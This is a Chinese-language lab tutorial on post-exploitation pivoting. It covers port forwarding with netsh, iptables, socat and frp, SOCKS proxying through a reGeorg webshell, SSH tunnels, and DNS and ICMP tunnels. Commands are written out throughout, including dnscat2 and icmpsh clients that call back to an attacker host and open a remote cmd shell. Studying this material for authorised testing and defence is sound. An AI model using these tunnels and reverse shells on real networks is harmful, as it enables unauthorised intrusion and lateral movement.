1. 程式人生 > 實用技巧 >如何進行內網穿透

如何進行內網穿透

當我們通過 webshell 或者其它一些方式獲取到一臺可以訪問內網的伺服器許可權後,如果要做進一步的滲透,往往要訪問內網中的其它主機,但其它主機在內網中,我們無法直接訪問。由於控制的伺服器處於內網中,所以我們可以通過這臺伺服器作為跳板進行內網穿透。

這篇文章將會使用之前搭建的環境(搭建一個簡單的Windows域環境)對內網穿透常用的技術及防禦手段進行介紹。這裡需要再準備多一臺 ubuntu 虛擬機器作為 linux 伺服器, kali 虛擬機器作為攻擊機

內網穿透使用的技術主要有下面幾種:

  1. 埠轉發

  2. socks代理

  3. dns 隧道

  4. icmp 隧道

埠轉發

埠轉發技術主要是把目標內網的主機的埠轉發到公網可以訪問的主機埠中。根據轉發的方向不同,也可以分成正向埠轉發和反向埠轉發,但本質是一樣的,都是把一臺主機的一個埠轉發到另一臺主機的一個埠。

正向埠轉發

正向埠轉發的情況一般用得比較少。

這種情況一般是獲得許可權的公網Web伺服器同時具有公網 ip 和內網 ip。此時可以把內網主機的一些埠轉發到 Web伺服器的埠上。

示意圖中,Web伺服器會在本地開啟一個3389埠進行監聽,接著攻擊主機訪問了Web 伺服器的3389埠,然後Web伺服器作為中轉,把 3389埠接收到的流量轉發到內網主機B 的 3389。這樣就達到了訪問內網主機B的目的。

設定以下環境:

172.16.217.160 外網 kali 攻擊機,也可以模擬成 VPS 主機

172.16.108.183,172.16.217.186 網路邊界 windows 7 伺服器(被控),雙網絡卡,172.16.217.0/24 段的網絡卡模擬公網,172.16.108.0/24 段的網絡卡連線內網。

172.16.108.196,172.16.217.165網路邊界 ubuntu 伺服器(被控) , 雙網絡卡

172.16.108.184 內網伺服器(目標),我們想連它的3389埠

要實現雙網絡卡,只需要在虛擬機器上新增多一個網路介面卡即可

在windows 系統上關閉防火牆,這樣才可以被 ping 通

接下來測試來雙網絡卡的效果,在被控 windows 上分別ping 下kali 和目標機,看看是否都可以通

windows7被控伺服器可以同時 ping 通 kali 和 目標機

kali 可以 ping 通 雙網絡卡的 windows 7 被控伺服器,但無法 ping 通內網的目標主機172.16.108.184

在目標機中開啟遠端桌面

順便把目標機的網路級別身份驗證關了,方便 kali 連線

netsh

接下來在被控 windows 伺服器進行正向埠轉發,在 windows 下可以使用自帶的 netsh工具來進行正向埠轉發,netsh是一個命令列指令碼實用工具,可以檢視或更改本地計算機或遠端計算機的網路配置。

現在需要通過 172.16.217.186 的 3389 埠轉發到 172.16.108.184 的3389埠。

在 172.16.217.186 被控主機上以管理員身份開啟 cmd,輸入如下語句:

netshinterfaceportproxyaddv4tov4listenport=3389listenaddress=172.16.217.186connectport=3389connectaddress=172.16.108.184
//檢視存在的轉發
netshinterfaceportproxyshowall
//使用netstat確保3389埠當前處於被偵聽狀態:
netstat-ano|findstr3389

進行埠轉發後,就可以通過172.16.217.186 的 3389埠訪問內網 172.16.108.184 主機的 3389 埠了。

在 kali 上使用 rdesktop 來連線,注意,這裡連線的地址是被控主機的 ip

rdesktop172.16.217.186

刪除指定規則可以使用下面命令

netshinterfaceportproxydeletev4tov4listenport=3389listenaddress=172.16.217.186

iptables

在 linux 下可以使用 iptables 進行正向埠轉發,iptables 是 linux自帶的防火牆軟體

建立 iptables 規則,在邊界 ubuntu 伺服器上把本地 3389 埠收到的流量轉發到 172.16.108.184 的 3389 埠

sudoiptables-IINPUT-ptcp-mtcp--dport3389-jACCEPT
sudoiptables-tnat-APREROUTING-ptcp--dport3389-jDNAT--to-destination172.16.108.184:3389
sudoiptables-tnat-APOSTROUTING-jMASQUERADE
sudoiptables-IFORWARD-jACCEPT
sudoiptables-PFORWARDACCEPT
sudosysctlnet.ipv4.ip_forward=1

ubuntu18.04 使用下面命令重啟防火牆,

sudoufwdisable&&sudoufwenable

在其它系統可以使用重啟iptables

/etc/init.d/iptablesrestart

在 kali 上使用 rdesktop 來連線,注意,這裡連線的地址是被控 ubuntu 主機的 ip

rdesktop172.16.217.165

使用完後使用 iptables –F 清除規則然後重啟 iptables

socat

SOCAT是用於執行流量轉發的另一種工具。

它比 iptables 更容易使用。

安裝 socat

sudoaptinstallsocat

在邊界 ubuntu 伺服器上把本地3389埠收到的流量轉發到

172.16.108.184的 3389埠

在 ubuntu18.04 上需要先關閉防火牆

sudoufwdisable

然後進行埠轉發

socatTCP4-LISTEN:3389,forkTCP4:172.16.108.184:3389

反向埠轉發

反向埠轉發用得比較多。這種情況一般是公網Web伺服器只有內網 ip,然後通過路由器把 80 埠對映到公網的 ip上。這種情況下不能讓 Web伺服器直接監聽本地的埠,然後讓攻擊主機進行連線,因為路由器只做了80埠的對映。

攻擊主機想要訪問內網主機B的 3389 埠時,可以讓公網的一臺 VPS 監聽 3389 埠,然後把 3389 埠收到的流量轉發到 8000 埠,接著讓 Web 伺服器連線VPS的 8000 埠,並且把該埠的流量轉發到內網主機B的 3389 埠。這時,攻擊機訪問VPS的 3389 埠,相當於訪問內網主機B的 3389 埠。

流量的路徑如下:

設定以下環境:

172.16.217.163 windows攻擊機,用於和vps互動

172.16.217.160 外網 kali 攻擊機,同時是vps主機

172.16.108.196,172.16.217.165 網路邊界ubntu伺服器 (被控) ,雙網絡卡,172.16.217.0/24 段的網絡卡模擬公網,172.16.108.0/24 段的網絡卡連線內網。

172.16.108.184 內網伺服器(目標),我們想連它的 3389 埠。

frp

frp是一個可用於內網穿透的高效能的反向代理應用,支援tcp, udp協議,為 http 和 https應用協議提供了額外的能力,且嘗試性支援了點對點穿透。

frp用來做反向埠轉發比較穩定,而且同時支援 linux 平臺和 windows平臺。

其詳細的介紹可以在github上檢視

https://github.com/fatedier/frp/blob/master/README_zh.md

在以下地址下載相應版本的frp

https://github.com/fatedier/frp/releases

在windows 平臺下載

frp_0.32.0_windows_amd64.zip

在 linux平臺下載

frp_0.32.0_linux_amd64.tar.gz

解壓後,將 frps 及 frps.ini 放到具有公網IP(公網 vps )的機器上。

將 frpc 及 frpc.ini 放到處於內網環境的機器上(內網 ubuntu 邊界伺服器)。

下面的配置將把內網主機的3389埠轉發到 公網VPS上

先在vps上修改 frps.ini檔案,這裡使用了最簡化的配置,監聽8000埠,等待內網 ubuntu 伺服器連線

[common]
bind_port=8000

在vps上啟動 frps:

./frps-c./frps.ini

在內網 ubuntu邊界伺服器修改frpc.ini檔案, 把172.16.108.184的 3389 埠轉發到 vps172.16.217.160的 3389埠

啟動 frpc,連線vps:

./frpc-c./frpc.ini

連線成功後,在windows攻擊機上直接連線vps 的3389埠即可訪問內網主機的 3389 埠

當然,frp也可以做正向埠轉發,原理是一樣的,把vps換成邊界伺服器就行了。

socks 代理

socks是一種網路傳輸協議,主要用於客戶端與外網伺服器之間通訊的中間傳遞。但也可以用於客戶端與內網伺服器之間的通訊。socks協議版本有 socks4 和 socks5,其中 socks5 可以支援udp。

socks有一個服務端,它會監聽一個埠,等待客戶端的連線。客戶端連線該埠,然後告訴服務端要訪問那些ip和埠,然後由服務端去訪問,服務端把返回的資料轉發給客戶端。

它的優點是很靈活,不需要轉發各種埠,直接通過 socks 伺服器就可以訪問內網的不同埠。

reGeorg

如果我們獲得了一個webshell,可以使用 socks 代理的webshell來實現 socks代理。

reGeorg是常用的隧道馬,可以在本地監聽一個 socks服務端,然後把收到的內網請求轉發到 webshell來訪問。下載地址如下:

https://github.com/sensepost/reGeorg

設定以下環境:

172.16.217.160 外網 kali 攻擊機,用於使用reGeorg

172.16.108.196,172.16.217.165 網路邊界ubntu伺服器 (被控) ,被上傳 webshell ,雙網絡卡,172.16.217.0/24 段的網絡卡模擬公網,172.16.108.0/24 段的網絡卡連線內網。

172.16.108.184內網伺服器(目標)

實驗環境的邊界 ubuntu伺服器是使用tomcat的,所以上傳 tunnel.jsp到伺服器的 webapps目錄,訪問URL是

http://172.16.217.165:8080/tunnel.jsp

接著 kali攻擊機上執行下面命令即可在本地的8080埠啟動socks伺服器

pythonreGeorgSocksProxy.py-p8080-uhttp://172.16.217.165:8080/tunnel.jsp

如何使用socks代理?

在 windows 下面可以使用Proxifier來連線代理。如果要對內網做web滲透,可以直接在burpsuite上面設定socks代理的地址和埠。如果在 linux 下,可以使用 proxychains 工具來使用代理。

以 kali 為例,先把 /etc/proxychains.conf檔案的最後一行修改為:

socks5127.0.0.18080

然後通過 proxychains來啟動要代理的程式,這樣

rdesktop 的流量會經過 socks 代理直接訪問內網的目標主機。

proxychainsrdesktop172.16.108.184

可以實現 socks 代理功能的還有很多工具,如 ssocks 、cobaltstrike 的 socks 功能、msf 的 socks 功能,這裡就不一一介紹了。

ssh 隧道

ssh是 linux 自帶的遠端登入客戶端,ssh埠轉發也被稱作 ssh 隧道(sshTunnel),因為它們都是通過ssh登陸之後,在ssh客戶端與ssh服務端之間建立了一個隧道,從而進行通訊。ssh隧道是非常安全的,因為 ssh 是通過加密傳輸資料的。

使用ssh可以實現前面的所有功能,如正向埠轉發、反向埠轉發和socks 代理。

如果被控主機是linux, 推薦使用 ssh 來做隧道,因為它的流量是加密的,而且極其穩定

使用前首先要確認/etc/ssh/sshd_config 的以下配置:

AllowTcpForwardingyes
GatewayPortsyes
TCPKeepAliveyes#保持心跳,防止ssh斷開
PasswordAuthenticationyes

重啟 ssh 生效

#重啟ssh
servicesshrestart

ssh隧道的常用引數如下:

-C:該引數將使ssh壓縮所有通過SecureShell客戶端傳送的資料。

-f:該引數將ssh連線送入後臺執行。

-g:該引數允許遠端主機通過埠轉發與主機埠相連,通常情況下僅允許本地主機這樣做。

-N:不執行遠端指令。

-R:遠端轉發

-L:本地轉發

-D:動態轉發,即socks代理

-p:指定遠端ssh服務埠

-n:後臺執行

-p:安靜模式,不要顯示任何debug資訊

ssh 隧道分為本地埠轉發、遠端埠轉發和動態埠轉發。

本地轉發是將遠端主機(vps)某個埠的資料轉發到本地機器(內網主機)的指定埠。

遠端埠轉發是在遠端主機上監聽一個埠,所有訪問遠端伺服器指定埠的資料都會通過ssh隧道傳輸到本地的對應埠。

動態埠轉發是就是建立一個 socks 代理。

設定以下環境:

172.16.217.160 外網 kali 攻擊機,同時是vps

172.16.108.196,172.16.217.165網路邊界 ubuntu 伺服器,雙網絡卡,172.16.108.0/24段的網絡卡連線內網。

172.16.108.184 內網伺服器(目標)

ssh遠端埠轉發

一般來說,在埠轉發時,使用的是遠端埠轉發

下面命令把172.16.108.184的3389 埠轉發到172.16.217.160的 3389 埠,注意,下面命令不會產生互動shell,需要用kill命令手動殺死ssh程序才能停止埠轉發,在172.16.108.196上執行以下命令,輸入vps的ssh賬號密碼

ssh-CfNg-R172.16.217.160:3389:172.16.108.184:[email protected]

在 vps上執行以下命令即可訪問172.16.108.184的 3389 埠

rdesktop127.0.0.1

ssh 動態埠轉發

ssh動態埠轉發可以實現 socks 代理:

先在內網主機172.16.108.196上執行下面命令,使用本地的1086埠做動態埠轉發,輸入的是172.16.108.196上的 ssh 賬號密碼,這時需要有本地的賬號密碼,或者獲取 root 許可權後,自行新增一個賬號密碼

ssh-CfNg-Dlocalhost:1086ubuntu@localhost

再把本地1086埠遠端轉發到172.16.217.160的1086埠,這裡輸入的是vps的ssh賬號密碼。

ssh-CfNg-R172.16.217.160:1086:localhost:[email protected]

在vps上配置 /etc/proxychains.conf檔案的最後一行修改為:

socks5127.0.0.11086

然後通過下面命令訪問目標主機172.16.108.184的3389埠

proxychainsrdesktop172.16.108.184

dns 隧道

當目標內網有防火牆策略,不允許內網機器的 tcp 連接出外網時,埠轉發技術就無法使用了。這時可以使用但dns請求一般是可以出外網的,而 dns 的 txt記錄是可以用來傳輸資料的,因此通過 dns請求可以建立到目標內網的連線。

常用的工具是dnscat

https://github.com/iagox86/dnscat2

powershell 版本

https://github.com/lukebaggett/dnscat2-powershell

在 vps172.16.217.160上執行

在內網主機使用dnscat客戶端連線vps伺服器

dnscat2-v0.07-client-win32.exe--dnsserver=攻擊者的IP--secret=攻擊者伺服器生成的ID

建立連線後可以執行命令獲取 cmd shell:

windows
session-i1
shell
session-i2

icmp 隧道

當埠轉發、DNS隧道都失敗時,可以嘗試使用ICMP 請求把TCP/UDP資料封裝到ICMP的ping資料包中來繞過防火牆。

可以使用 icmpsh工具來建立 icmp 隧道

https://github.com/inquisb/icmpsh

設定以下環境:

172.16.217.160 外網 kali 攻擊機,同時是vps, 監聽 icmp請求

172.16.108.183172.16.217.186內網windows伺服器,其中172.16.217.0/24 連線公網

在 kali上執行以下命令關閉 ICMP 應答

sysctl-wnet.ipv4.icmp_echo_ignore_all=1

然後執行下面命令監聽,其中172.16.217.186是目標公網IP

pythonicmpsh_m.py172.16.217.160172.16.217.186

接著在內網windows伺服器上執行以下命令連線 vps,可以在 vps獲取一個 cmd shell

icmpsh.exe-t172.16.217.160-d500-b30-s128